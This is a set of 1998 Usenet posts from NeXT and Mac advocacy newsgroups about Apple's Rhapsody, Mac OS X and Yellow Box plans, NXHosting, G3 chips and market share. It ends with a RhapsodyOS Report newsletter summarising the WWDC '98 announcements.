> (3) OpenStep Developers Selling Into NT/9x....
And possibly "(4) Anyone Who Doesn't Own and Cannot Afford to Buy a G3
Mac Anytime Soon."
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 23:34:55 -0500
Organization: KAOS
Message-ID: <199805172334552400739@sdn-ts-001txhousp01.dialsprint.net>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net> <ericb-1705981553500001@132.236.171.104> <pulsar-ya02408000R1705981514490001@news-proxy.cso.uiuc.edu>
Pulsar wrote:
> Eric Bennett wrote:
>
> > Under the "old" plan MacOS 8 was going to have YB support, so I don't see
> > how the number of potential users with a YB-compliant OS has changed much.
>
> That was not a plan. That was rumor.
>
> There was no definite indication that there would be a YB on Mac OS. IIRC,
> the strongest commitment Apple made towards it was to "look into it". There
> was rumor from various sites (particularly MacOSRumors), but there was
> little directly from Apple that would have indicated it.
Actually, this is not quite true. Apple explicitly stated on its
website that there would be a Yellow Box for Mac OS. I don't recall if
"Mac OS 8" was spelled out, though I'm fairly certain the capability was
planned for Allegro (i.e., 8.5). Those with some life experience might
have joined me in thinking, "Is that technically feasible in a
reasonable timeframe? I'll believe it when I see it." Those expressing
shock and surprise that the answer turns out to be "no" are no doubt
blessed in their innocence.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: Sun, 17 May 1998 23:34:58 -0500
Organization: KAOS
Message-ID: <199805172334582400887@sdn-ts-001txhousp01.dialsprint.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129> <6jj570$bt1$1@crib.bevc.blacksburg.va.us> <355CA9E5.44F6@earthlink.net> <6jj834$bvb$1@crib.bevc.blacksburg.va.us> <6jn288$1cc$64@ironhorse.plsys.co.uk> <355f2329.0@206.25.228.5>
John Kheit wrote:
> mmalcolm crawford wrote:
>
> > But the menu bar acros the top remains in situ as well.
>
> Figures. That's consistent with the other UI improvements made
> thus far.
I've read somewhere (SNU*) that Allegro (Mac OS 8.5) allows you to hide
the menubar. Don't know if it's true, but perhaps there's hope. After
all, you did hear that Apple will be supporting AGP, didn't you?
*sorry, no URL
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: strangedaze@earthlink.net (Blackjax)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.next.advocacy
Subject: Re: Clue phone for IBM!!
Date: Mon, 18 May 1998 00:07:03 -0800
Organization: EarthLink Network, Inc.
Message-ID: <strangedaze-1805980007050001@1cust99.tnt2.beaverton.or.da.uu.net>
References: <6joi32$54j$4@newsfep4.sprintmail.com>
Because.......
The G3 is still a PowerPC chip and was created in conjunction with
Motorola and Apple for Apple. So, (imho) the most ibm could do is to
continue with its progress on the copper chips and improve Apple (grabbing
a slice, as it were) while still sell its machines that use the (snail)
wintel chips. At least until Apple eases up some and allows ibm to also
use the chips (yea right)
just my 2¢
Blackjax
In article <6joi32$54j$4@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> I just saw a ibm thinkpad ad tonight, and it made me think: Ya know, the
> thinkpad is a preety cool portable, only one thing wrong tho: it doesnt use a
> g3 chip! And wouldnt you know it, IBM even MAKES g3 chips
>
>
> --
> Running on Openstep 4.2, the best os in the world, and about to get better!
> Mac/openstep qa work desired, email me for resume
> NeXTMail and MIME OK!
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129> <6jj570$bt1$1@crib.bevc.blacksburg.va.us> <355CA9E5.44F6@earthlink.net> <6jj834$bvb$1@crib.bevc.blacksburg.va.us> <6jn288$1cc$64@ironhorse.plsys.co.uk> <355f2329.0@206.25.228.5> <199805172334582400887@sdn-ts-001txhousp01.dialsprint.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355fbd84.0@206.25.228.5>
Date: 18 May 98 04:48:04 GMT
drifterusa@sprintmail.com (John Bauer) wrote:
> John Kheit wrote:
> > mmalcolm crawford wrote:
> > > But the menu bar acros the top remains in situ as well.
> > Figures. That's consistent with the other UI improvements made
> > thus far.
> I've read somewhere (SNU*) that Allegro (Mac OS 8.5) allows you
> to hide the menubar. Don't know if it's true, but perhaps there's
> hope. After all, you did hear that Apple will be supporting AGP,
> didn't you?
> *sorry, no URL
Yes, it's on one of Scott's WWDC note pages. This is great news!
You're right on in pointing out that I'm spewing my bitter jarbs
at unsettled stuff. Certainly there is still hope. Release 1.0
will tell s the real story.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com>
<1d96usd.idlupin1ddc8N@sextans133.wco.com>
Message-ID: <t6P71.4084$Fi2.1738179@news.rdc1.sdca.home.com>
Date: Mon, 18 May 1998 04:50:33 GMT
NNTP-Posting-Date: Sun, 17 May 1998 21:50:33 PDT
Organization: @Home Network
In <1d96usd.idlupin1ddc8N@sextans133.wco.com> Mike Paquette wrote:
> Rex Riley <rriley@yahoo.com> wrote:
>
> > The street seems to agree with me as Apple's 52 week high on Monday has
> > retreated below 30 and will probably settle around 27.50 shortly.
>
> Actually, I suspect the real reason for the soft performance was the
> options expiry last week, combined with overall sluggish performance in
> the tech sector.
>
Did I miss a friendly bet... ? I'm stating my assertions with target numbers.
You're a *numbers* kinda guy, where are your targets? Is Apple going up or
going down?
> But then, I'm not one of the Wise...
>
Makes two of us, we're equal. I'm willing to put up numbers to back my
assertion. You've given some heady insight. I call... ;-)
Let's see your numbers... :-)
-r
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30> <6jkehf$os@papoose.quick.com>
From: sdroll@NOSPMmathematik.uni-wuerzburg.de (Sven Droll)
Message-ID: <355fea44.0@uni-wuerzburg.de>
Date: 18 May 98 07:59:00 GMT
jq@papoose.quick.com (James E. Quick) wrote:
---snip---
>Don't get me wrong, I think that NSHosting will be sorely missed, but
>seriously remote administration will not be a direct casualty of this.
>After all, we're talking about Unix here.
---snip---
As an example for administration:
UserManager in a multilevel Netinfo-system:
You should always NXHost the UserManager from a machine in the appropriate
level of your Netinfo or you can get bad surprises as double ids, ... And why
should I run (physically) around in the really huge university-building for
adding new users ...? I can have this with Win, too. Or even worse write my
own scripts as under Solaris ... .
NXHosting is one of the major features of NeXTstep/OPENSTEP and lack of this
will throw Apple out of at least the educational market (IMHO).
Sven
--
Sven Droll __
______________________________________________________/ / ______ __
sdroll@mathematik.uni-wuerzburg.de / /_/ ___/
please remove the NOSPM from my reply-address /_ _/ _/
=====\_/=======
LOGOUT FASCISM!
___________________________________________________________________
NeXT-mail or MIME welcome ;-)
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: 18 May 1998 05:41:44 GMT
Message-ID: <6johmo$54j$3@newsfep4.sprintmail.com>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com> <gierkeNOSPAM-1705982024470001@pm1-53.ile.infi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: gierkeNOSPAM@delaware.infi.net
In <gierkeNOSPAM-1705982024470001@pm1-53.ile.infi.net> Gierke wrote:
> In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
> MACGHOD <Macghod@concentric.net> wrote:
>
> > All the news on microsoft says its os's have about %90 of the pc market.
> > Now if macs are %20 of the market like Apple claims, this cant be true.
> > And then when you add PC's where the users dont have a microsoft os (such
> > as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
> > %25 percent. This %90 number must be off, no?
>
> This can be true because there are several interpretations, which are all
> true, that can be derived from the statement "90% of the pc market".
>
> a. It means that Microsoft has 90% of the installed base of Personal
> Computers.
This is close, the wording the news I have seen says computers in home use,
thus including the macos and amiga os and linux
> b. It means that Microsoft has 90% of the installed base of IBM PC
> compatibles.
Nope, the sources I have seen this figure dont narrow it down to IBM and
clones
> c. It means that Microsoft has 90% of the Personal Computer sales.
> d. It means that Microsoft has 90% of the IBM PC compatible sales.
>
> Withought any further clarification, it is up to the reader to decide
> what the statement means. This makes for good marketing, because chances
> are high that consumers will assume that this refers to the installed base
> of personal computers as a whole.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.next.advocacy
Subject: Clue phone for IBM!!
Date: 18 May 1998 05:48:18 GMT
Message-ID: <6joi32$54j$4@newsfep4.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I just saw a ibm thinkpad ad tonight, and it made me think: Ya know, the
thinkpad is a preety cool portable, only one thing wrong tho: it doesnt use a
g3 chip! And wouldnt you know it, IBM even MAKES g3 chips
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 18 May 1998 08:15:10 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6joqme$2k7$1@news.tuwien.ac.at>
References: <01bd81b9$c8480d60$04387880@test1> <6jnq9e$ibc$1@news.tuwien.ac.at>
<6jo711$qdr$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6jo711$qdr$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> Keeping up with the menagerie of PC hardware configurations is
> probably more effort than they can justifiably spare.
IMO they don't have to sink lots of effort into supporting every bit and
piece of hardware out there. A solid base set of drivers (remember, they've
got that already) and the equivalent of DriverKit in the developer release
would do perfectly for a long time to come. This is precisely what we've been
living with under NeXTStep/OPENSTEP for the past few years, and was it that
bad? Besides, modern PCI/AGP/USB PC hardware is AFAIK easier to support than
the old ISA crud.
Buying a PPC machine is not an option for me (and a lot of other NeXT geeks
over here in Europe), simply because the PPC hardware is too expensive here
(why pay more for the same computing power?). Also, I'd hate to be locked
into a proprietary hardware platform, the future of which is governed by
people who do things like killing Rhapsody/Intel and the cloners[0].
I'm using NeXT/Rhapsody not because I like Apple (esp. the way they do
business) but because I need a good working environment. If they take that
away from me, well, I guess it's LINUX time[1].
ys
Alexander Wilkie
[0] Can you say "loss of trust"? I knew you could.
[1] Anyone who knows my passionate love for X-Windows knows how much effort
it took me to write this...
---
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: raven@rinzai.commie (Raven Zachary)
Newsgroups: net.computers.os.unix.rhapsody,comp.sys.next.advocacy
Subject: The RhapsodyOS Report #16 [17-MAY-98]
Date: Mon, 18 May 1998 09:22:54 +0200
Organization: www.rinzai.com
Distribution: 4gh
Message-ID: <raven-1805980922540001@zacharyr.rferl.org>
============================
The RhapsodyOS Report
Issue #16 / 17 May 1998
WWDC SPECIAL REPORT
============================
The RhapsodyOS Report is a free weekly summary of Rhapsody, MacOS X, and
Yellow Box news, software releases, rumors, Internet resources and related
topics compiled by Raven Zachary <raven@rinzai.com>.
WEB & USENET READERS, SUBSCRIBE TO THE EMAIL VERSION TODAY! Many of you
access The RhapsodyOS Report every week via the web. Subscribe to the
email version
and have it automatically delivered to you hours earlier. To subscribe,
email <rhapsodyos-report request@thenerve.com>. Please include the word
subscribe in the subject of the message.
THE RHAPSODYOS REPORT TO INCREASE COVERAGE. Starting with this issue, we
will be adding MacOS X coverage. Rhapsody and Yellow Box will continue to
be our primary focus but as we get closer to a release of MacOS X, our
priorities may shift.
WWDC SPECIAL REPORT
-------------------------
OPERATING SYSTEMS:
[NOTE: Specific Rhapsody announcements and news are listed in a special
section of the WWDC coverage below.]
APPLE ANNOUNCES OPERATING SYSTEM STRATEGY. After many months of waiting,
Apple has announced its new operating system strategy this week at WWDC
'98. During Jobs' keynote speech he announced MacOS X (10), Apple's new
desktop operating system based on Rhapsody planned for a Fall '99 release.
Rhapsody, which is now the official product name, will continue to function
as a server and development operating system for the foreseeable future.
The first public release of Rhapsody, v1.0 (previously known as CR1), is
due in the fall of this year. Over time, Rhapsody and Mac OS X will
converge into a single operating system supporting both client and server
needs. In a move to assist MacOS developers in taking advantage of advanced
features of upcoming OS releases, a new API (Application Programming
Interfaces) set called Carbon will allow modified MacOS applications to run
natively in MacOS X . 68k and "non-Carbonated" MacOS applications will
continue to function in a transparent Blue Box, a software implementation
of the Macintosh ROMs.
RHAPSODY AIMED FOR SERVERS AND THE FOUNDATION OF MACOS X. Rhapsody
technology will make its way into MacOS X, but Rhapsody will also continue
as a server and development operating system, according to Apple. Rhapsody
will have the tools necessary for it to be used as a desktop operating
system, but this will not be the marketing focus. Rhapsody DR2 for PowerPC
was released to developers during WWDC '98 [NOTE: See below for a DR2
review.]. Rhapsody DR2 for Intel and Yellow Box for Windows will follow in
the next few weeks. Rhapsody v1.0 for PowerPC and Intel, along with Yellow
Box for Windows v1.0 will be available this fall, probably during a
September or October Apple event. Rhapsody will continue to be supported
and developed past v1.0.
MACOS X IS A MAJOR "STEP". MacOS X, scheduled for release in the third
quarter of '99, is the fusion of MacOS and Rhapsody technologies into a
desktop operating system. MacOS X will use the Mach microkernel from
Rhapsody, MacOS-like advanced interface, Carbon APIs, transparent Blue Box
[NOTE: For more information, see below.], Yellow Box, and a BSD/POSIX
layer. A user will be able to run Mac OS, Carbon, Java, BSD/POSIX and
Yellow Box applications directly in the OS. Due to the fact that MacOS X
uses a Mach kernel as a foundation, it will have advanced features such as
protected memory, preemptive multitasking, advanced virtual memory,
multithreading, fast networking and I/O, and will be fully PowerPC native
(no 68k code). In addition to this, there will be no ROM in MacOS X - being
implemented in software, allowing for more hardware independence in the
future. At this time, Apple is only committing to the support of G3 models
for MacOS X, but will probably increase its support to include the
604-based PowerMacs and possibly all PCI-based PowerMacs. A pre-release
version of MacOS X will be available in the first quarter of '99 for
developers, hopefully in time for MacWorld but more likely in March. For
information on MacOS X, please see Apple's web site.
APPLE IS COMMITTED TO INTEL SUPPORT. Although Apple has no plans at this
time to make MacOS X available for Intel systems, Apple is committed to
providing a cross-platform strategy. Rhapsody for Intel and Yellow Box for
Windows will serve as Apple's cross-platform solution for application
deployment. Will we ever see MacOS X for Intel? Apple has stated that Mac
OS X is designed for the PowerPC G3 as well as forthcoming RISC processors.
This could mean the Merced chip from Intel and HP along with the G4
expected next year. [NOTE: Just before "going to press", we received two
reports from WWDC attendees that contradict this information. Apple sources
seem to have said conflicting things about support for Intel past Rhapsody
v1.0. Yellow Box for Windows is not at issue here, only Rhapsody for Intel.
We hope to resolve this next week.]
FINAL OS CONVERGENCE NOT WITH MAC OS X. Contrary to popular belief, Apple
says that Rhapsody will continue past v1.0 and the release of MacOS X.
Sometime in the future, there will be a convergence of Rhapsody and MacOS.
Apple says it is too early to speculate on a date for this. At that time,
it is likely that both a server and development version of the MacOS would
be available as a final replacement for Rhapsody.
BSD/POSIX TO CONTINUE IN MACOS X. While the average MacOS X user will never
be aware of the existence of BSD and POSIX in the operating system, it will
be available to developers and power users. Apple is still working out the
details, but it is expected that Apple will provide a terminal utility and
UNIX tools in MacOS X for a "Power User" and/or "Developer" installation
option. Apple will be hiding BSD in MacOS X both to protect the user and to
eliminate confusion. Mac OS X's BSD layer will use code from the three main
BSD operating systems - NetBSD, OpenBSD, and FreeBSD. Many standards are
supported, including the 'standard' C libs, as well as the POSIX APIs
(1.003.1a compliant, but not certified) as well as some of the BSD 4.4
extras. If there is customer demand, Apple said, they may go through the
POSIX certification process.
NEW IMAGING MODEL FOR APPLE OPERATING SYSTEMS. Apple is in the process of
designing a new imaging model for its future operating systems that departs
from Rhapsody's Display Postscript (DPS) technology. The new imaging model,
being designed specifically for MacOS X, (though it is likely it would make
its way into a future Rhapsody release) will be based around PDF and
QuickDraw. This will be Apple's cross-platform imaging model. The imaging
portion of Display Postscript will be removed but the language will remain.
All screen drawing will go through ColorSync, which will be a great
advantage for publishers. The native picture file and clipboard format will
be PDF. Users will also able to save PDF files directly from the print
panel, making document distribution easy. Documents will be converted to
Postscript for printing unless a Postscript Extreme printer is being used
which will allow direct PDF printing. PDF will replace Postscript as the
data format for printing in the future, as supported by Adobe and many
other vendors.
SYMMETRIC MULTIPROCESSING COMING TO RHAPSODY, MACOS X. The ability to take
advantage of multiple CPUs in one machine will be coming to Apple operating
systems next year as they migrate both Rhapsody and MacOS X to a Mach 3.0
microkernel. During a demonstration at WWDC, Rhapsody DR2 was shown running
on a PowerMac 9600 with dual processors.
DEVELOPMENT AND DEPLOYMENT ENVIRONMENTS:
YELLOW BOX AND OBJECTIVE C - A KEY ROLE IN APPLE'S FUTURE. One of the
biggest questions after Steve Jobs' keynote address on Monday was, "What
about Yellow Box?". It wasn't even mentioned during his address, and
several Apple employees responded quickly to make sure that developers knew
that Apple was not abandoning Yellow Box in favor of Carbon. Both will
co-exist in MacOS X. Yellow Box, "Apple's Advanced Development
Environment", will continue as the programming environment for Rhapsody and
cross-platform deployment. For new application development, Apple
recommends using Yellow Box and not Carbon. Yellow Box will continue to be
available on Rhapsody for PowerPC and Intel, Windows, and MacOS X, whereas
the Carbon API will not be available on Intel.
CARBON TO PROVIDE MACOS APPS OUT OF THE BLUE BOX. Carbon is the new set of
MacOS APIs, allowing programmers to migrate their existing codebase for
Macintosh applications to MacOS X without doing a rewrite in Yellow Box.
Apple examined the 8,000 or so APIs that made up the Mac OS Toolbox, and
threw out 2,000 APIs that were unable to take advantage of new system
features. The remaining 6,000 APIs plus some new replacements have been
named Carbon. Carbon will run on Mac OS 8.x, 9.x, MacOS X, and beyond.
There are no plans at this time to bring Carbon to Rhapsody or provide
Carbon support on any Intel based machines. Carbon's primary function is to
migrate existing MacOS applications to the new operating system. Once an
application has been adapted to take advantage of Mac OS X, it will receive
all the benefits of a modern operating system (multi-tasking, protected
memory, etc.). If you are a MacOS developer, you can download the Carbon
Dater from devworld.apple.com which will analyze the code of your program
to determine what will need to be updated [NOTE: Apple hasn't released
Carbon Dater as of 17 May, but it is expected this week.]. Check out your
code and get it Carbon-ready. Apple estimates the conversion to take one to
five days plus a month or more in QA testing. The average existing
application is already 90% Carbon-compatible in Apple's tests.
APPLE PROMISES TRANSPARENT BLUE BOX. Applications which are not re-written
in Carbon for MacOS X will be able to run in a transparent Blue Box,
appearing as normal applications in the file system. As with the Yellow
Box, when a MacOS application is launched in MacOS X, it will display its
own application windows within the OS and not be placed in a separate OS
window. The transparent Blue Box should make its way to a future Rhapsody
release as well. However, if one of these "old" Blue applications does
crash during operation, all other Blue Box applications will be affected,
since they share the same foundation.
NO YELLOW BOX FOR MACOS 8.X/9.X. Apple will not be bringing the Yellow Box
to MacOS 8.x or 9.x. Users of these systems will still be able to run MacOS
and even Carbon-based applications, but nothing from the Yellow Box. MacOS
8.5 and 9.x will only be refinements of the existing MacOS code and will
not use a Mach kernel.
YELLOW BOX WILL KEEP LICENSING FEES FOR NOW. At last year's WWDC, Apple
announced that they intended to deliver a royalty-free Yellow Box runtime
for Windows. Due to obligations to third parties, they are unable to make
Yellow Box for Windows free at this time. The cost is expected to be less
than $20 per copy and will be based on Apple's own royalty costs to outside
companies. Developers will be required to purchase blocks of runtimes with
a minimum purchase. Apple is planning on a "No Per Copy Royalty" runtime in
the Mac OS X timeframe. A reasonable flat annual license fee for any number
of runtimes shipped by a single developer should be in place by the third
quarter of '99, with mentioned figures of 2 to 4 thousand a year flat
price. [NOTE: the installation of Yellow Box for Windows will require only
8megs of hard drive space.]
DEVELOPERS SEEK SOLUTION TO OVERCOME YELLOW BOX FEE. In an attempt to
reduce the costs associated with the deployment of Yellow Box applications
for Windows, a group of developers have begun to discuss the creation of a
CD-ROM with the Yellow Box and demo software for $25. The owner of the CD
would be given full rights to use the Yellow Box for Windows, allowing
commercial software developers to ship their product with Yellow Box
included. The user would have to obtain a copy of this CD to run any Yellow
Box software on Windows.
BSD/POSIX APPLICATIONS EASY PORTING TO MACOS X. Apple demonstrated the
ability to bring BSD applications to MacOS X. For the demonstration, two
Apple employees used the back-end code for UNIX applications (the Netscape
browser and an Internet chat client, Zephyr), and built a custom front-end
in Yellow Box in less than 20 hours. Although applications could run
entirely from the command line in MacOS X, very few users will have
command-line access.
WEBOBJECTS 4.0 COMING TO RHAPSODY V1.0. WebObjects v4.0 due this fall will
be able to run in Rhapsody v1.0, providing the first solution for
WebObjects on Apple hardware. Direct-to-web has been made almost four times
faster in v4.0. WebObjects v4.0, now also available as a framework, will
ship bundled with OpenBase Lite, ensuring that the example applications
will be functional out of the box. Apple has not yet indicated if
WebObjects would come with Rhapsody v1.0 or be released as a commercial
package. However, it is likely that WebObjects v4.0 will not be bundled
with Rhapsody.
DEVELOPERS SHOW OFF THEIR CARBON APPLICATIONS. Several large software
companies were on hand at WWDC '98 to demonstrate programs already ported
to Carbon. Representatives from Macromedia, Microsoft, and Adobe appeared
on stage to show support for the new strategy. Adobe demonstrated Photoshop
5.0 running as a Carbon application. Apple showed AppleWorks (previously
known as ClarisWorks) running in Carbon, which only needed a fraction of a
percent of its code modified to run.
APPLE STEPS UP JAVA PLANS. Apple is committed to providing the best Java
platform on the market today. Besides a promise to match and even beat Java
performance on Intel based machines, Apple will continue to improve Java as
a development platform in the Yellow Box, allowing Yellow Box objects to be
subclassed in Java and permitting development of all-Java or hybrid
applications.
OBJECTIVE C TO UNDERGO TRANSITION TO OBJECTIVE C++. Objective-C will be
extended to take advantage of several C++ capabilities, such as including
declaration as statements and exceptions. Whether or not Objective C and
Objective C++ would be considered as two separate programming languages was
not mentioned.
METROWERKS RHAPSODY COMPILER COMING SOON. Metrowerks has promised that
their compiler for Project Builder will soon be available. Project Builder
now supports the use of alternate compilers and the Metrowerks compiler is
allegedly several times faster than gnu cc.
ENTERPRISE OBJECT FRAMEWORK FREE WITH YELLOW BOX. The Enterprise Object
Framework (EOF) v3.0 will be released as a portion of the Yellow Box for
Rhapsody v1.0 and probably Yellow Box for Windows and MacOS X as well.
Developers of custom and vertical market databases applaud the news.
RHAPSODY:
RHAPSODY DR2 OVERVIEW. Rhapsody DR2 for PowerPC was released to developers
this week during WWDC. Developers unable to attend WWDC are already
receiving their DR2 CDs in the mail. Rhapsody DR2 for Intel and Yellow Box
for Windows are expected to be sent to developers in the next few weeks.
Screen shots of DR2 are available on Stepwise [NOTE: Please see the
Rhapsody Articles section below for the URL.] New features of DR2 include:
Hardware Support: DR2 officially supports the Power Mac 7600, 8500, 8600,
9500, 9600, and G3. Some 8500 machines do not work due to a hardware
problem with the CD-ROM drive. You will need to replace the CD-ROM drive to
overcome this problem. DR2 does not install on an internal ultra-wide SCSI
drive, either. You will need to install it on a standard SCSI or IDE drive.
There are reports of DR2 working on the PowerBook 3400 [NOTE: For more
information, see below] and the old PowerBook G3, as well. Apple employees
have stated that DR2 will not work with Apple's new line of PowerBook G3s.
Users have failed installing DR2 on the Power Computing PowerCenter Pro
132, 180, and 210, and UMAX S900 models. We hope to have more hardware
support information next week.
User Interface Improvements: DR2 now uses the Charcoal appearance that is
common with MacOS 8, tear-off menus, an application/processes menu, an HTML
help system, a new search utility, support for a two-button mouse, and a
volume icon on the desktop. In addition, all of the previous NeXT-style
interfaces have been replaced with more Mac-like ones. The Next*
directories are being removed, and replaced with System, Local and Network
directories with Library, Developer, Apps and similar structures
underneath, thus making the exposed filesystem more understandable and
easier for system administrators to maintain.
Configuration: The Rhapsody installer is much easier to use - you simply
double-click the Rhapsody installer from the CD booted Mac OS 8.1 - and
matches the new interface elements in Rhapsody. After the installation
process, Rhapsody's Setup Assistants walk the user though a series of
configuration screens similar to MacOS v8.1. The preferences application
has gone through an overhaul. Monitor resolution and network settings can
now be directly set in the preferences.
Blue Box: The Blue Box is now a standard part of the Rhapsody DR2 for
PowerPC installation. Networking and sound problems have been fixed. A user
can now switch back and forth between the Blue Box and Rhapsody via a menu
item available in both environments. Copy and paste functionality works
between both "systems". The Blue Box has an independent network stack
requiring its own IP address, although Apple is hoping to allow for a
single IP solution in the future. DR2 ships with a third party solution
from Helios which allows "EtherSharing" of files between the two operating
systems [NOTE: For more information, see below]. A user can now switch the
monitor resolution and use multiple monitors.
Java: Java performance has been improved. The virtual machine is based on
the JavaSoft JDK 1.1.5. The AWT is fully integrated, and Java supports 100%
pure Java. All the Yellow Box APIs are now "Java exposed".
Core Services: Rhapsody DR2 is now based on Mach 2.5 with some portions of
Mach 3.0 included. The underlying BSD layer is now version 4.4. Performance
was increased substantially in the I/O and virtual memory areas. Apple has
added support for ISO 9660 with Rock Ridge extensions, NFS v3.0, and
supports the use of ZIP and JAZ drives. Printing to Appletalk printers is
supported, and the Helios third party solution exists for Appletalk file
sharing with an expiring license good until November. Multiple monitor
supports works within Rhapsody and the Blue Box.
UNIX tools: Many commands and tools have been updated, including ncftp,
tcsh, bash, perl, kerberos and cvs. Apache web server is now installed as
well as Sendmail 8.8.8. There is no X/Motif support in DR2 and it is not
planned for Mac OS X, either [NOTE: There is already a third-party X
windows solution for Rhapsody.].
WHAT TO EXPECT FOR RHAPSODY V1.0. Scheduled for release this fall, Rhapsody
v1.0 will not feature major user changes over DR2. The primary developments
will be in the area of performance and customer quality issues. Overall
hardware support for PowerPC and Intel systems will be improved, although
no specifics were given. AppleScript scriptability will be included as part
of the Yellow API, but not the ability to journal scripts. In terms of
interface changes, Rhapsody v1.0 will have the workspace file viewer and
not a true MacOS Finder. The primary function of Rhapsody v1.0 will be for
high end content creation, publishing, servers, and future Mac OS X/ Yellow
Box development although it will also be an advanced desktop operating
system, like its forbears.
RHAPSODY TO GAIN SUPPORT FOR ADDITIONAL FILE SYSTEMS. With the DR1 release
of Rhapsody, only the UFS and NFS v2.0 file systems were supported. With
the recent release of Rhapsody DR2, Apple has added support for ISO 9660
with Rock Ridge extensions, NFS v3.0, and supports ZIP and JAZ drives. In a
future version of Rhapsody (hopefully v1.0), support for MacOS Extended
(HFS+), MacOS Standard, AppleShare, UDF (Universal Disk Format) and FAT
volumes will be added. The University of Michigan is working with Apple on
providing support for the Andrew File System (AFS) Rhapsody. MacOS Extended
(HFS+) will be the default file system format for Rhapsody and MacOS X.
TO PPP OR NOT TO PPP? There seems to be a debate regarding Serial and PPP
support in Rhapsody DR2. While the DR2 release notes state that serial
ports are not supported in this release, further documentation explains how
to get serial connections to work. It looks as though this is a documented,
but unsupported feature. To use the serial drivers with DR2 they must first
be enabled and the appropriate drivers must be obtained from Apple's
Rhapsody Developer Release web site. No PPP software is included with DR2.
We hope to have more on this issue next week.
NSHOSTING WILL NOT BE SUPPORTED IN MAC OS X. One of the victims of Apple's
new imaging model will be NSHosting - the ability to log in to a machine
remotely from anywhere on the network and do application window display.
Rhapsody DR2 and v1.0 will continue to support NSHosting. For MacOS X,
Apple is leaving this opportunity open to third-party developers and does
not intend to bundle screen sharing and remote access abilities in with
future versions of the OS.
NETSCAPE COMMUNICATOR FOR RHAPSODY SHOWN. Matt Watson from Apple
demonstrated a port of Netscape Communicator to Rhapsody during WWDC. Matt
used the Mozilla source to compile the backend, modifying only 27 lines of
code, and built a simple front end in the Yellow Box to display the web
pages retrieved from the backend engine. Matt has already submitted his
code changes back to the Mozilla group and hopes to contribute his
front-end code early next week. The Mozilla for Rhapsody project team will
use this as the basis for further development, in hopes of releasing a
version in time for Rhapsody v1.0.
